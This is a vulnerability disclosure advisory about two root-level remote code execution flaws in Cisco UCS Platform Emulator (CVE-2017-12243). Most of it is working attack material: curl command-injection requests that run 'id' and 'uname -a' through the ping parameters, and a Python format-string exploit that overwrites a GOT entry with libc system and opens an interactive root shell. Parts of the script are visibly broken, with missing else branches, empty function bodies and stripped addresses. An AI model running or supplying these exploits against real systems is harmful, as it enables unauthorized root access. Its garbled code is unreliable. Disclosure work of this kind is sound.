SSD Advisory – Cisco UCS Platform Emulator Remote Code Execution

Vulnerabilities Summary
The following advisory describes two remote code execution vulnerabilities found in Cisco UCS Platform Emulator version 3.1(2ePE1).
Cisco UCS Platform Emulator is the Cisco UCS Manager application bundled into a virtual machine (VM). The VM includes software that emulates hardware communications for the Cisco Unified Computing System (Cisco UCS) hardware that is configured and managed by Cisco UCS Manager. For example, you can use Cisco UCS Platform Emulator to create and test a supported Cisco UCS configuration, or to duplicate an existing Cisco UCS environment for troubleshooting or development purposes.
The vulnerabilities found in Cisco UCS Platform Emulator are:

  • Unauthenticated remote code execution
  • Authenticated remote code execution

An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
The vendor has released patches to address this vulnerability and issue the following CVE:

  • CVE-2017-12243

Vulnerabilities details
Unauthenticated remote code execution
User controlled input is not sufficiently sanitized when passed to IP/settings/ping function. An unauthenticated attacker can inject commands via PING_NUM and PING_IP_ADDR parameters. Those commands will run as root on the remote machine.
Proof of Concept

curl "http://IP/settings/ping?ping_num=1&ping_ip_addr="
curl -k "https://IP/settings/ping?ping_num=1&ping_ip_addr="
curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr="
curl -k "https://IP/settings/ping?ping_num=1%3buname+-a%3b#&ping_ip_addr="

By sending one of the above requests the Cisco UCS will response with:

/sample output/
demo@kali:~/poc$ curl -k "http://IP/settings/ping?ping_num=1&ping_ip_addr="
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=0.017 ms
--- ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
Linux ucspe 2.6.32-431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU/Linux
demo@kali:~/poc$ curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr="
uid=0(root) gid=0(root) groups=0(root)

Authenticated remote code execution
Cisco UCS Platform Emulator is vulnerable to format string vulnerability that leads to remote code execution.
Cisco UCS Platform Emulator runs an SSH server by default, and users who log-in via ssh runs the following command:

show sel %x

Get the following response:

"Error: Invalid rack server value: ...somedigits.."

By execute the ssh “show sel %x” command we overwriting got entry for _ZN7clidcos15CommandEmulator16cli_param_filterEPKc function from with libc system.
Proof of Concept
In order to exploit the vulnerability, please follow the following instructions:
Install ucspe on vm (setup all 3 network cards) with the following user and password:

  • Default ucspe user : ucspe
  • Default ucspe pass : ucspe

Run the ucspe and write down the ip address of the ucspe (visible in console “Connected to IP: ….”)
In this Proof of Concept we will use IP –
Open up two terminals on some other machine (kali for example).
On the first terminal:

  1. Create poc directory, put in the poc directory. change current directory to poc
  2. Create fifo1:
  3. mkfifo fifo1
  4. Create output directory:”
  5. mkdir output
  6. Run ssh with stdin redirected from fifo1 and stdout redirected to output/log file:
  7. tail -f fifo1 | ssh ucspe@ > output/log
    # use default credentials ucspe/ucspe

On the second terminal (terminal2):

  1. Change current directory to poc
  2. Run the

The output should be:

demo@kali:~/poc$ mkfifo fifo1
demo@kali:~/poc$ mkdir output
demo@kali:~/poc$ tail -f fifo1 | ssh ucspe@ > output/log
Pseudo-terminal will not be allocated because stdin is not a terminal.
The authenticity of host ' (' can't be established.
RSA key fingerprint is SHA256:qEdgqNFyfqA2BU1+cH9rmYrsIOiQr/NlCpgAyzrX70Y.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '' (RSA) to the list of known hosts.
uucspe@'s password:
TERM environment variable not set.


demo@kali:~/poc$ python
Going through some menus please wait a moment..
You should now see on the other terminal message simmilar to "Error: Already in local-mgmt shell.."
[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from
    -> 0x6b9f64
[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt
    -> 0x6d7a70
[.] Dumping snprintf address from libc
    -> 0x7791210
[.] Calculating libc system address
    -> libc base addr = 0x7746000
    -> system addr = 0x7780f60
[.] Sending payload..
show sel %62c%28$nAAA
show sel %237c%28$nAA
show sel %86c%28$nAAA
show sel %229c%28$nAA
Sleep for fork adjustment..
Ok please type your commands (type exit for exit)
> id
['uid=0(root) gid=0(root) groups=0(root)']

import struct
import time
import binascii
def generate_payload(addr):
    basepayload = "show sel AAAAAAAAAAAA"
    aa = (addr >> 24 & 0xff)
    bb = (addr >> 16 & 0xff)
    cc = (addr >> 8 & 0xff)
    dd = (addr >> 0 & 0xff)
    if aa<34:
        aa_c_payload = aa + 222
        aa_c_payload = aa - 34
    if bb<34:
        bb_c_payload = bb + 222
        bb_c_payload = bb - 34
    if cc<34:
        cc_c_payload = cc + 222
        cc_c_payload = cc - 34
    if dd<34:
        dd_c_payload = dd + 222
        dd_c_payload = dd - 34
    aa_payload = "%" + str(aa_c_payload) + "c%28$n"
    bb_payload = "%" + str(bb_c_payload) + "c%28$n"
    cc_payload = "%" + str(cc_c_payload) + "c%28$n"
    dd_payload = "%" + str(dd_c_payload) + "c%28$n"
    aap = basepayload[:9] + aa_payload + basepayload[len(aa_payload)+9:]
    bbp = basepayload[:9] + bb_payload + basepayload[len(bb_payload)+9:]
    ccp = basepayload[:9] + cc_payload + basepayload[len(cc_payload)+9:]
    ddp = basepayload[:9] + dd_payload + basepayload[len(dd_payload)+9:]
    return [aap,bbp,ccp,ddp]
def clearlog():
    fo = open("output/log","w")
def readlog():
    logread = [line.strip('\n\0x00') for line in open('output/log')]
    return logread
def sendcommand(cmd):
    f=open("fifo1", "a+")
def dump(adr, frmt='p'):
    leak_part = "show sel %28${}".format(frmt)
    raw_addr = struct.pack("I", adr)
    if "\x20" in raw_addr:
        print "space!"
    out = leak_part + "AAAAAAA"+raw_addr
    e = readlog()[0]
    outbin =  e.split("AAAAAAA")[0].split(": ")[2]
    return outbin+"\x00"
def starting_point():
    out = "show sel %147$x"
    e = readlog()[0]
    outbin =  e.split("AAAAAAA")[0].split(":")[2]
    return outbin
clidcos_step = 0x1DB0C
libc_emulator_snprintf = 0x0004b210
libc_emulator_system = 0x0003af60
print "Going through some menus please wait a moment.."
sendcommand("show version")
sendcommand("connect local-mgmt")
sendcommand("connect local-mgmt")
sendcommand("show version")
print "You should now see on the other terminal message simmilar to \"Error: Already in local-mgmt shell..\" "
print "[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from"
off3 = int(starting_point(),16)
print "    -> " + hex(off3)
print "[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt"
clidcosGOTPLT = off3+clidcos_step
print "    -> " + hex(clidcosGOTPLT)
print "[.] Dumping snprintf address from libc"
libc_printf = dump(clidcosGOTPLT+8,'s')[:4]
libc_tmp1_hex = binascii.hexlify(libc_printf[::-1])
libc_snprintf_addr =  int(libc_tmp1_hex, 16)
print "    -> " + hex(libc_snprintf_addr)
print "[.] Calculating libc system address"
libc_base_addr = libc_snprintf_addr - libc_emulator_snprintf
print "    -> libc base addr = " + hex(libc_base_addr)
libc_system_addr = libc_base_addr + libc_emulator_system
print "    -> system addr = " + hex(libc_system_addr)
print "\n[.] Sending payload.."
sendcommand(generate_payload(libc_system_addr)[3] + struct.pack("I", clidcosGOTPLT))
print generate_payload(libc_system_addr)[3]
sendcommand("show version")
sendcommand(generate_payload(libc_system_addr)[2] + struct.pack("I", clidcosGOTPLT+1))
print generate_payload(libc_system_addr)[2]
sendcommand("show version")
sendcommand(generate_payload(libc_system_addr)[1] + struct.pack("I", clidcosGOTPLT+2))
print generate_payload(libc_system_addr)[1]
sendcommand("show version")
sendcommand(generate_payload(libc_system_addr)[0] + struct.pack("I", clidcosGOTPLT+3))
print generate_payload(libc_system_addr)[0]
sendcommand("show version")
print "Sleep for fork adjustment.."
sendcommand("ssh /bin/bash")
print "Ok please type your commands (type exit for exit)"
while True:
    n = raw_input("> ")
    if 'exit' in n:
    print readlog()


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